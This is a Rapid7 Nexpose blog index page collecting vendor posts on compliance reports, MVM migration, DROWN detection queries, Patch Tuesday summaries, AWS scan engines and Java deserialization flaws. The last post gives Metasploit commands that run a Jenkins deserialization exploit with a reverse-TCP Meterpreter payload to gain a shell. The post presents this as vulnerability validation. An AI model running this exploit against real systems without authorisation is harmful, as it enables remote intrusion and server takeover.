Skip navigation
All Places > Nexpose > Blog
1 2 3 4 Previous Next


267 posts

With Nexpose, you can assess your network for secure configurations at the same time as vulnerabilities, giving you a unified view of your risk and compliance posture. The latest version of Nexpose focuses on making it easier to understand how well you’re doing and the actions to take to improve overall compliance.


Starting with Nexpose 6.2.0, users now have access to two brand new policy reports that help you take control of your compliance program and focus on what is important.


The first report is the Policy Rule Breakdown Report, which provides a rule by rule breakdown of a policy for each asset. This allows you to understand which rules have passed and which have failed, giving you a high level view of how compliant each of your assets are and which rules to focus on.




The second report is the Top Compliance Remediations Report, which provides a prioritized list of remediations to help you drive your compliance program. This list is prioritized based on the actions that will have the greatest impact in improving overall compliance across all your assets.



By default, this report will show the Top 25 Remediations prioritized by Nexpose, but you can to change this to a number that meets your needs. In the sample report above, remediating all of the identified issues will increase overall compliance by 12% within the scope of the report. You’ll notice that in this example the top 25 issues are identified based on 671 rules across 10 assets, which is the scope of this particular report. All of this information is rule driven with a detailed breakdown of how remediating  specific rules will impact your overall compliance score. As you work through the remediation efforts identified, you can expect to see these numbers get smaller and smaller.

As most, if not all, current Intel Security customers are aware, Intel has announced the End-of-Life of the McAfee Vulnerability Manager, aka. MVM. Coupled with that announcement, Intel also announces it has partnered with Rapid7 and is recommending that current, and future Intel Security customers, leverage Rapid7's Nexpose to fill their vulnerability and threat exposure management needs.


To aid in the transition from MVM to Nexpose, Rapid7, has developed a Migration Toolkit. The Toolkit contains documentation to walk a customer through a typical pre-deployment/deployment tasks, pre-migration tasks, migration tasks, and post-migration tasks.


Screen Shot 2016-04-01 at 1.59.36 PM.png

You may download the Migration Related Documentation from the community at:


The Migration Toolkit also contains a set of utility scripts to export relevant configuration and data from MVM and import it into Nexpose.

The Migration Utilitywill migrate the following:

  • Scan Configurations; including included and excluded assets, and scan schedule
  • Asset Groups and associated assets
  • Asset Tags applied to assets; including criticality, owner and custom tags
  • Asset Inventory; including IP address, host name, OS, discovered ports and services
  • Scan Credentials (i.e. Credential Sets)
  • Users



Exporting of MVM Scan Configurations:

Screen Shot 2016-04-01 at 2.14.13 PM.png

Importing of Scan Configurations into Nexpose:

Screen Shot 2016-04-01 at 2.13.30 PM.png


The Migration Utility is free to MVM customers that have purchased Nexpose, and is available as a virtual machine for simple setup, configuration and migration. If you are a former MVM customer and are moving to Nexpose, ask your Account Executive or Customer Success Manager about obtaining the Migration Utility. If you purchased Deployment Services, your Global Services Project Manager will advise you where to download the latest Migration Utility.

As we have reached out to customers for feedback on Adaptive Security use cases (see: Adaptive Security Overview for details on this feature), we have found that many customers would like to control the outcome of the “New Asset discovered” trigger. They want to be able to not just kick a scan since they either have some restrictions as to when to scan, or they don’t scan everything that comes out of DHCP (or other dynamic source of assets), for some networks they do spot checking and don’t want to scan everything.


The video below illustrates the usage of adaptive security’s “New Asset Discovered” trigger and how to pick the actions taken when new assets are added to your environment. The video shows that you can do multiple things to answer to the trigger:

  • Add the assets to a site and scan them
  • Add the assets to a site and not scan right away
  • Add assets that meet a certain rule (ie. ip range - to a site and scan, while assets that meet another rule (ie. ip range - to be added to the site but not immediately scanned.


The video shows how a Dynamic Site based on a DHCP connection is different than a Static site with Automated actions for new assets discovered. Furthermore the video explains that you have full control of your scanning windows and the fact that a “New Asset Discovered” action triggered does not mean you have to scan the asset right away, you have full control. Also, blackouts, both site level and global are ALWAYS respected by the Adaptive security feature, therefore, if a trigger that starts a scan happens in between a blackout, the scan will be held/queued until the blackout is completed and then kicked.


I hope you enjoy the video and you can put in practice these concepts to automate further the Vulnerability Management program at your organization.



DROWN is a cross-protocol attack against OpenSSL. The attack uses export cipher suites and SSLv2 to decrypt TLS sessions. SSLv2 was developed by Netscape and released in February 1995. Due to it containing a number of security flaws, the protocol was completely redesigned and SSLv3 was released in 1996. Even though SSLv2 was declared obsolete over 20 years ago, there are still servers supporting the protocol. What’s both fascinating and devastating about the DROWN attack, is that servers not supporting SSLv2 can also be vulnerable if they use the same RSA key as a server that does support SSLv2. Since SSL/TLS is application agnostic, it is possible to decrypt HTTPS traffic between clients and a server that doesn’t support SSLv2 if it’s using the same RSA key as, for example, an email server that supports SSLv2.


We have implemented a DROWN vulnerability check in Nexpose to detect if an endpoint is vulnerable to the attack by allowing SSLv2 connections. The check has the Nexpose ID ssl-cve-2016-0800. To find other services that don’t support SSLv2 but are also vulnerable to DROWN as they are using the same RSA key as a vulnerable endpoint, we need to use the power of all the data collected by Nexpose during a scan.



Generate a report of vulnerable endpoints


After a scan of our site, we can see that we have 44 instances of the vulnerability.





The report is generated by selecting SQL Query Export as the report model and pasting the SQL query we generated above. This will give us a csv file with the exported data which shows us that we actually have 70 endpoints affected by the DROWN attack.



Generate the SQL Query


There are a few steps we have to complete to generate our DROWN report. First, we need to get the vulnerability ID used by Nexpose internally. We can get the ID from the dim_vulnerability table using the Nexpose ID.


SELECT vulnerability_id
      FROM dim_vulnerability
      WHERE nexpose_id = 'ssl-cve-2016-0800'


Now when we have the vulnerability ID, we need to find all the vulnerable assets and get the certificate fingerprint. The certificate fingerprint is stored in the table dim_asset_service_configuration and all the vulnerabilities for an asset are stored in the table fact_asset_vulnerability_instance. We are ensuring we are only getting the certificate fingerprints from the vulnerable endpoints by matching the port for the vulnerability instance and the port for the service configuration.


SELECT dasc.value
  FROM dim_asset_service_configuration dasc
JOIN fact_asset_vulnerability_instance favi USING     (asset_id)
WHERE = 'ssl.cert.sha1.fingerprint' AND dasc.port = favi.port)

Finally, we put it all together and select all assets which are using the vulnerable certificates:


   drown_vulnerability AS (
      SELECT vulnerability_id
      FROM dim_vulnerability
      WHERE nexpose_id = 'ssl-cve-2016-0800'
SELECT da.ip_address, dasc.port, dasc.value
FROM dim_asset_service_configuration dasc
   JOIN dim_asset da USING (asset_id)
WHERE dasc.value IN (
   SELECT dasc.value
   FROM dim_asset_service_configuration dasc
      JOIN fact_asset_vulnerability_instance favi USING (asset_id)
   WHERE vulnerability_id = (SELECT vulnerability_id FROM drown_vulnerability) AND = 'ssl.cert.sha1.fingerprint' AND dasc.port = favi.port)
ORDER BY dasc.value, da.ip_address, dasc.port

Remediation steps


Start by disabling SSLv2 on the endpoints which have it enabled and generate new certificates with a new private key for affected endpoints.

Have you ever run a Nexpose scan and had the wrong operating system identified for an asset? Perhaps the incorrect TCP/IP stack fingerprint was used, or you scanned an embedded device we haven't seen before. The March 9th release of Nexpose (6.1.14) has a new feature that allows you easily report such fingerprinting errors to Rapid7 and helps us to improve fingerprinting accuracy. No need to open a support ticket!


A new feedback button (circled below), available on the Asset detail page next to the OS, will open a dialog with fields to correct the vendor, OS, and/or version:

asset_detail with dialog.png


The vendor and OS fields will autocomplete products we already know about, so once you begin typing you can choose a suggestion from the drop-down that appears:



We recommend that you use these suggestions if an appropriate one is shown. This will help reduce inconsistencies in submitted reports, allowing us to more effectively analyze them and correct Nexpose's fingerprinting behaviour.


Clicking "Send Now" will transfer the most recent scan log for the misfingerprinted asset to Rapid7 (for context), along with the corrections provided in the dialog. Feel free to close the dialog at any time after this; the information will continue to be sent in the background. If you want to be notified when the information has successfully been sent, keep the dialog open until the confirmation message is shown:

thank you.png


We strive to have the most accurate fingerprinting possible in Nexpose, so your reports are greatly appreciated!


Update Tuesday, March 2016

Posted by anowak Employee Mar 8, 2016

March continues this quarter’s trend with the majority of bulletins (8) addressing remote code execution (RCE) vulnerabilities; the remaining address elevation of privilege (4) and security feature bypass. All of the critical bulletins are remote code execution issues affecting a variety of products and platforms including Edge, Internet Explorer, Office, Office for Mac, Office Web Apps, SharePoint and releases of Microsoft Windows (Client and Server).


This month Microsoft resolves 39 vulnerabilities across 13 bulletins, with MS16-023, MS16-024, MS16-028, MS16-029, MS16-034 as the bulletins to watch out for, addressing 28 vulnerabilities. Since a wide range of products are affected this month almost all Microsoft users should been alert. Fortunately at this time, no vulnerabilities are known to have been exploited in the wild.


Users should be wary of untrusted sources as maliciously crafted content could allow an attacker to remotely execute code in-order to gain the same rights as your user account. Your best protection against these threats is to patch as quickly as possible. Administrators, be sure to review this month’s bulletins and in accordance with your specific configuration, prioritize your deployment of this month’s updates. At a minimum, ensure to patch systems affected by critical bulletins.


Resolved Vulnerability Reference:


Rapid7’s Nexpose just became the first Threat Exposure Management solution to complete AWS’ new rigorous pre-authorized scanning certification process!


Normally, a customer must request permission from AWS support to perform vulnerability scans. This request must be made for each vulnerability scan engine or penetration testing tool and renewed every 90 days. The new pre-authorized Nexpose scan engine streamlines the process. When a pre-authorized scan engine is launched from the AWS Marketplace, permission is instantly granted.


This AWS certification effort is a proof point of our continued dedication to securing organizations’ data and reducing their risk, and to ensuring our solutions address real customer needs and market trends.


Cloud is increasingly an essential part of the today’s modern business networks and an area in which our customers invest. In October 2015 IDC reported that spend on public cloud IT infrastructure was on track to increase by 29.6% year over year, totaling $20.5 billion(1).


The new AWS certification underscores our commitment to ease of use and provides customers with assets in AWS the same level of security and experience as an on-premise deployment.


Organizations can easily gain visibility of their entire attack surface – regardless where their asset sits. The new Nexpose certifications means that customers can simply use our pre-authorized AMI to scan their AWS assets without any of the authorization or permissions required for non-authorized solutions.


Learn more:


(1) IDC’s Worldwide Quarterly Cloud IT Infrastructure Tracker, October 2015.

Rapid7 is excited to announce that you can now find a Nexpose Scan Engine AMI on the Amazon Web Services Marketplace making it simple to deploy a pre-authorized Nexpose Scan Engine from the AWS Marketplace to scan your AWS assets!


What is an AMI ?

An Amazon Machine Image (AMI) allows you to launch a virtual server in the cloud. This means you can deploy Nexpose Scan Engines via the Amazon marketplace without having to go through the process of configuring and installing it yourself.


What are the benefits ?

The Marketplace includes a specially configured Nexpose Scan Engine that is pre-authorized for scanning AWS assets. This provides Rapid7 customers the ability to scan AWS assets immediately, or on a recurring schedule without having to contact Amazon in advance for permission – a process that can take a number of days.  Using a Nexpose Scan Engine deployed within the AWS network also allows you to scan private IP addresses and collect information which may not be available with public IP addresses (such as internal databases).  Additionally, scanning private IPs eliminates the need to pay for elastic IP’s.


How do I deploy a pre-authorized Scan Engine ?

Current Nexpose customers can deploy the pre-authorized Nexpose Scan Engine as a remote scan engine for scanning AWS assets only.  When creating your AWS discovery connection simply check the box denoting that your scan engine is in the AWS network.


You'll need a set of IAM credentials with permission to list assets in your AWS account.  A minimal IAM policy to allow this looks like:


  "Version": "2012-10-17",

  "Statement": [{

      "Sid": "NexposeScanEngine",

      "Effect": "Allow",

      "Action": [





      "Resource": [ "*" ]




The pre-authorized scan engine must use the "engine-to-console" communication direction.  This means the Scan Engine will initiate communication with the Nexpose Console.  Preparing your Nexpose Console to pair with a pre-authorized Scan Engine is simple:

  1. Ensure the pre-authorized Scan Engine can communicate with your Nexpose Console on port 40815.  You may need to open a firewall port to allow this.
  2. Generate a temporary shared secret on your console.  This is used to authorize the Scan Engine.  A shared secret can be generated from the Administration -> Scan Options -> Engines -> manage screen.  Scroll to the bottom and use the Generate button.  Keep this page open, you'll need the secret when launching your Scan Engine.

Now you are ready to deploy your pre-authorized Nexpose Scan Engine.  Sign into your AWS console and navigate to the Nexpose Scan Engine (Pre-authorized) AWS Marketplace listing.  You must use EC2 user data to tell your engine how to pair with your console.  Follow these steps to launch the engine:

  1. Click Continue on the AWS Marketplace listing.
  2. Accept the terms using the Accept Software Terms button.
  3. It can take up to 10 minutes for Amazon to process your request.  You'll receive an email from Amazon when you can launch the AMI.
  4. After you receive the email, refresh the marketplace page.  You should see several blue "Launch with EC2 Console" buttons.
  5. Click the Launch with EC2 Console button in your desired AWS region.
  6. Proceed with the normal process of launching an EC2 instance.  When you get to the Instance Details screen, expand the Advanced Details section.  Provide the following EC2 user data.  Replace the bracketed sections with information about your Nexpose Console:
    NEXPOSE_CONSOLE_HOST=<hostname or ip of your console>
    NEXPOSE_CONSOLE_SECRET=<shared secret generated earlier>
  7. Finish launching the EC2 instance.
  8. Once the instance boots, it can take 10-15 minutes to pair with the console.
  9. Verify the engine pairs with the console via the engine listing in the console (Administration -> Scan Options -> Engines -> manage).


With this one-time configuration set, you can create a schedule to scan your AWS assets.

In today’s security ecosystem, there are several technologies/programs that are considered to be the old dogs.  They’ve been around the block a few times, have a few gray hairs, and just aren’t as sexy anymore.  Most companies have had these technologies for years now, and they typically don’t get the headlines that some of the newer, hotter technologies are getting.  Antivirus, Email Security, Firewalls, and Vulnerability Management are a few of these.  It’s hard to compete with big-data-machine-learning-predicative-intelligent-analytics for press when you’re a technology that first emerged before Y2K.


However familiar these technologies are, they are still incredibly valuable and a necessity to any organization even remotely concerned with security.  Vulnerability Management is one of these critical programs that has been around for a while, but is vital for organizations to follow to remain safe from attacks.  This was highlighted recently by a speech given at the recent Usenix Enigma security conference in San Francisco by Rob Joyce, the head of the Tailored Access Operations for the NSA and has been with the NSA for more than 25 years.  This organization is responsible for the “official” hacking done by the United States and is also a leader in providing the tactics used by nation states for hacking.  If there is a strategy used by hackers, Rob Joyce would know it.


“Even temporary cracks, vulnerabilities that exists in a system for days or even hours, are targets for the NSA” - Joyce

In the presentation, available here,  Mr. Joyce - coined the “hacker in chief” by Wired - didn’t cover th

e details of how they perform their own offensive security maneuvers but instead he reviewed an array of best practices designed to reduce an organization’s risk. In covering best practices, he described how evident and important vulnerability management is.  Nation States and APTs (Advanced Persistent Threats, i.e. Bad Guys) will watch a network for extended periods of time waiting for a chance to get it.  They don’t have an endless supply of 0days they rely on for penetration.  Temporary openings or briefly exploitable vulnerabilities are utilized to gain access the majority of the time.


The risk of un-patched vulnerabilities is also evident in the recent history of real-world attacks. Over the last year, several major attacks could be attributed to exploited known vulnerabilities. In addition, the 2015 HP Cyber Risk Report started that almost half of the breaches analyzed in the were enabled by the persistence old (and sometimes known) vulnerabilities.  Furthermore, the report made it clear that in 2015 there was an increase in the prevalence of monetization of vulnerabilities.


“To ward off a persistent actor, you really need to invest in continuous defensive work” - Joyce


At Rapid7, we understand that this is still an area that is critical for organizations to protect and that is why we have Vulnerability Management as key component in our Threat Exposure Management set of solutions.  One of the key features we’ve developed specifically to address this issue is Adaptive Security in Nexpose. Adaptive security helps you reduce the time required to understand risks brought about by an ever-changing environment by allowing actions to be automated based on certain triggers.  For instance, if a new CVE is released, Nexpose will automatically scan your environment for the existence of any vulnerable assets. This is a good approach because it doesn’t over-tax your network with constant scanning, but only scans after critical events. Additionally, when a new asset joins the network, Nexpose can automatically scan the asset or categorize it appropriately. More information on Adaptive Security is available here.


So make sure you’re doing your best to keep your systems up to date with the latest patches. In order to create and maintain a more secure environment you should make sure you know your network, poke and prod your network, and keep your vulnerabilities patched. Don’t take some of the ‘old dogs’ in your security infrastructure for granted.

Back in December 2015, Nexpose added two new potential vulnerability checks: "Remote code execution vulnerability due to unsafe deserialization in Oracle WebLogic Server" (CVE-2015-4852) and "JBoss InvokerTransformer code execution during deserialisation" (CVE-2015-7501). You can read all about it here. With this week's update, if you scan using credentials, you will now benefit from enhanced vulnerability detection for:


  • CVE-2015-7501 (All JBoss AS and EAP versions)
  • CVE-2015-4852 (Oracle WebLogic,,,


...on Unix based systems.


Given that JBoss and WebLogic are typically installed separately from the OS package management utilities, Nexpose will look for instances of these applications in the common /opt and /usr directories. Should you have these applications installed elsewhere, there is an option to tell Nexpose which directories to look in. There are three options available to you, all configurable by running a console command. To do this go to the Administration tab, select the 'Run' link under 'Maintenance, Storage and Troubleshooting section'


Override the global search paths for all scans on Unix systems:

set custom property com.rapid7.nexpose.plugin.unixfilebasedfingerprinter.searchpath='/opt /usr /home/user'


Set an application specific search path for JBoss or WebLogic:

set custom property com.rapid7.nexpose.plugin.unixfilebasedfingerprinter.searchpath.jboss='/home/user'


set custom property com.rapid7.nexpose.plugin.unixfilebasedfingerprinter.searchpath.weblogic='/home/user'


These properties can be set whilst Nexpose is running, as described above, however, to persist these changes between restarts, it is necessary to store these values in the file that resides in:


  • [INSTALLATION_PATH]/nsc (Nexpose console)
  • [INSTALLATION_PATH]/nse for (Nexpose engine)

Update Tuesday, February 2016

Posted by anowak Employee Feb 9, 2016

February continues this quarter’s trend with the majority of bulletins (7) addressing remote code execution (RCE) vulnerabilities; the remaining 6 evenly address denial of service (DOS) and elevation of privilege. All of the critical bulletins (MS16-009, MS16-011. MS16-012, MS16-013, MS16-015, MS16-022) are remote code execution issues affecting a variety of products and platforms include Edge, Internet Explorer, Office, Office for Mac, Office Web Apps, SharePoint and releases of Microsoft Windows (Client and Server).


This month Microsoft resolves 36 vulnerabilities across 13 bulletins, with MS16-009, MS16-011, MS16-012, MS16-015 as the bulletins to watch out for, addressing 24 vulnerabilities. Since a wide range of products are affected this month almost all Microsoft users should be on alert. Fortunately at this time, no vulnerabilities are known to have been exploited in the wild.


Users should be wary of untrusted sources as maliciously crafted content could allow an attacked to remotely execute code in-order to gain the same rights as your user account. Your best protection against these threats is to patch as quickly as possible. Administrators, be sure to review this month’s bulletins and in accordance with your specific configuration, prioritize your deployment of this month's updates. At a minimum, ensure to patch systems affected by critical bulletins.


Resolved Vulnerability Reference:

The Windows Registry is a database which stores all settings for a Windows system, e.g. hardware, software installed, Windows updates installed and preferences for users and their applications.  During normal day to day use a standard user will inadvertently push changes into this database when they update the system, add/remove applications and so on.


Remote Registry is a Windows service which allows a non-local user to read or make changes to the registry on your Windows system when they are authorized to do so.  Yes; you read that right - when enabled this service give a remote user complete access to your Windows Registry.  However this isn't as scary as it sounds, given that the remote user has to authenticate with the system and be authorized to read and make changes to the registry.  This serves as a powerful tool for system administrators managing large numbers of Windows systems.


From Nexpose 6.1.7  users can configure a scan template to temporarily enable Remote Registry on all Windows devices as they are being scanned.  This allows information to be retrieved from the registry and means Nexpose can collect more accurate data from the assets. In the Nexpose site configuration a user will need to add credentials which have appropriate permissions on the target systems to read from the registry.  Once the scan is complete the Remote Registry service will be returned to it's prior state.


Why is this useful?  The Windows Registry holds all sorts of interesting information, which can't be accessed normally - even when using a credentialed scan.  As Remote Registry is off by default for most Windows systems, being able to temporarily enable this service gives you a secure method to collecting this additional data.  Safely returning the systems to their original state once they have been successfully scanned ensures security is maintained.


Enabling the Remote Registry setting is as simple as checking a box on the relevant scan template then choosing that scan template for your site, and can be performed by a Global Administrator or Administrator.  Alternatively a site owner could choose a scan template for their site which already has this option enabled.


To enable Remote Registry for a given Site:

  • Navigate to the relevant Site, choose "edit site" option
  • Navigate to the Templates tab of the site configuration page

Screen Shot 2016-01-20 at 08.49.47.png

  • Under the "Select Scan Template" section - copy an existing template using the icons at the end of the table row (or edit a custom template)
  • In the new window showing "Scan Template Configuration" options, enable check box for "Allow Nexpose to enable Windows services"

Screen Shot 2016-01-20 at 08.51.03.png

  • Read and accept warning

Screen Shot 2016-01-20 at 08.50.29.png

  • Save


The next step is to run the scan and see the results - with the benefits of more accurate scan results and less false positives.


To disable Remote Registry, an authorized user can update the scan template being used for a site in the site configuration, or alternatively can select a different scan template which does not have this option switched on.  Easy, right?


Update Tuesday, January 2016

Posted by anowak Employee Jan 12, 2016

The year’s first release contains 9 bulletins, 7 remote code execution (RCE), an elevation of privilege and spoofing vulnerability. The critical bulletins (MS15-001, MS15-002, MS15-003, MS15-004, MS15-005, MS15-006) are comprised of remote code execution vulnerabilities affecting a variety of products and platforms including Edge, Internet Explorer (7 and onwards), Excel Viewer, Office, SharePoint Server, Silverlight, Word Viewer, VBScripting engine and all supported releases of Microsoft Windows.


This month Microsoft resolves 24 vulnerabilities across 9 bulletins with MS16-001, MS16-002, MS16-006, MS16-007 as the bulletins to watch out for, addressing 11 vulnerabilities. Since a wide range of products are affected this month almost all Microsoft users should be on alert. Fortunately no vulnerabilities are known to have been exploited.


Users should be wary of untrusted sources as maliciously crafted content could allow an attacker to remotely execute code to gain the same rights as your user account. Your best protection against these threats is to patch as quickly as possible.


Resolved Vulnerability Reference:

For organizations that want additional security upon login, Nexpose and the Rapid7 Nexpose-Client Ruby Gem will support Two Factor Authentication as of the January 6, 2016 release. Two Factor Authentication requires the use of a time-based one-time password application such as Google Authenticator.


Two Factor Authentication can only be enabled by a Global Administrator on the Security Console.


To enable Two Factor Authentication:

1. As a Global Administrator, go to the Administration tab.

2. Click the Administer link in the Global and Console Settings section.

3. Select Enable two factor authentication.




The next step is to generate a token for each user. The users can generate their own tokens, or you can generate tokens for them that they then change. In either case, you should communicate with them about the upcoming changes.


Method 1: Tokens created by users


Once Two Factor Authentication is enabled, when a user logs on to Nexpose, they will see a field where they can enter an access code. For the first time, they should log in without specifying an access code.





Once the user logs in, they can generate a token in the User Preferences page.





The user should then open their time-based one-time password application such as Google Authenticator. They should enter the token as the key in the password application. The password application will then generate a new code that should be used as the users access code when logging in.


A Global Administrator can check whether users have completed the Two Factor Authentication on the Manage Users page. The Manage Users page can be reached by going to the Administration tab and clicking the Manage link in the Users section. A new field – Two Factor Authentication Enabled – will appear in the table and let the administrator know which users have enabled this feature.





If the user doesn’t create a token, they will still be able to log in without an access code. In this case, you may need to take steps to enforce enablement.


Method 2: Generating tokens for users


You can enforce that all users log in with a token by disabling the accounts of any users who have not completed the process, or by creating tokens for them and emailing them their tokens.


To disable users:

1. Go to the manage users page by going to the Administration tab and clicking the manage link in the Users section.

2. Select the checkbox next to each user for whom the Two Factor Authentication Enabled column shows No.

3. Select Disable users.


To generate a token for a user:

1. Go to the manage users page by going to the Administration tab and clicking the manage link in the Users section.

2. Select Edit for that user.

3. Generate a token for that user.

4. Provide the user with the token.

5. Once the user logs in with their access code, they can change their token if they would like in the User preferences page.

Java based server applications are prevalent throughout most corporate networks.  Thousands, if not millions, of applications are deployed using JBoss, Jenkins, WebLogic and WebSphere - so when a vulnerability affecting the underlying technology pops up, the impact can be significant.  A vulnerability was recently discovered affecting any Java application which can receive data back from users, allowing malicious actors to insert unsafe data as it attempts to ingest the information.  The applications in the title of this post are some of the most popular, and are so widely deployed it is almost certain to hit a wide range of networks.


What is a serialization bug?

Programming languages provide methods to export data, either saving to disk or streaming over the network.  When data is streamed over the network it needs to be converted to another format (e.g. binary) and this process is called serialization.  When the application reads data in the opposite direction, it needs to convert back into the appropriate format.  The vulnerability arises when the applications can be tricked into accepting data which has a nefarious purpose, such as executing dangerous code and/or commands on the underlying server.


Why is this such a problem?

This is a big problem as practically all Java applications use serialization as a way to transfer data, and given how many of these applications are out there - the scale, and surface area for remote attack, is huge.


How do I know if I am affected?

Two of Rapid7's core Threat Exposure Management products - Nexpose and Metaploit - will let you detect whether you have vulnerable systems in your network, verify whether they can be actively exploited, and provide instruction on how to resolve outstanding vulnerabilities.


The fingerprinting capabilities within Nexpose can accurately determine if you have any vulnerable platforms running within your site and are therefore open to malicious attack.  The vulnerability exists in the commons-collections Java library which was found to be exploitable in a number of common platforms including JBoss, Jenkins, WebLogic, and WebSphere.  If you use any of the following platforms then you are potentially vulnerable to this exploit:

  • Jenkins versions below 1.638 and Jenkins LTS versions below 1.625.2 are vulnerable (CVE-2015-8103)
  • Oracle WebLogic Server, versions,,, are vulnerable (CVE-2015-4852)
  • All JBoss AS and EAP versions are vulnerable (CVE-2015-7501)
  • Websphere versions 8.5 and 8.5.5 Full Profile and Liberty Profile, Version 8.0 and Version 7.0 are vulnerable (CVE-2015-7450)


Can it be exploited?

Once Nexpose identifies any potential vulnerable systems, Metasploit will let you confirm if those systems can be successfully exploited.


We have created a Metasploit module which is able to gain a shell giving us full control over a server running an un-patched instance of Jenkins.  For the record we love Jenkins, and while there were a few servers to test our exploit, Jenkins ended up being first!  The Metasploit module will utilize two stagers that are crafted as serialized InvocationHandler Java objects.  These stagers are executed sequentially with the first using FileUtils to write meterpreter to the file system, and the second to load and launch meterpreter.  This is a relatively quiet exploit in that no new threads or processes are spawned, only an existing Java thread is hijacked.    The following Metasploit module can be used to validate this vulnerability and prove definitively if a machine is at risk or not.  First you load the module, and check if the target is vulnerable (omitting setting the target IP etc)


msf > use exploit/linux/misc/jenkins_java_deserialize


msf exploit(jenkins_java_deserialize) > check


Then we set the payload and run the exploit to get a Meterpreter shell:


msf exploit(jenkins_java_deserialize) > set payload java/meterpreter/reverse_tcp

payload => java/meterpreter/reverse_tcp


msf exploit(jenkins_java_deserialize) > run


You may have to run it a couple of times for it to trigger, but this will give you access via the meterpreter shell.


How can I fix it?

Nexpose provides solutions and remediation steps to instruct you on how to upgrade from the affected versions above, and ultimately ensure you are no longer exposed to this vulnerability.


Link to original research article here.

Filter Blog

By date: By tag: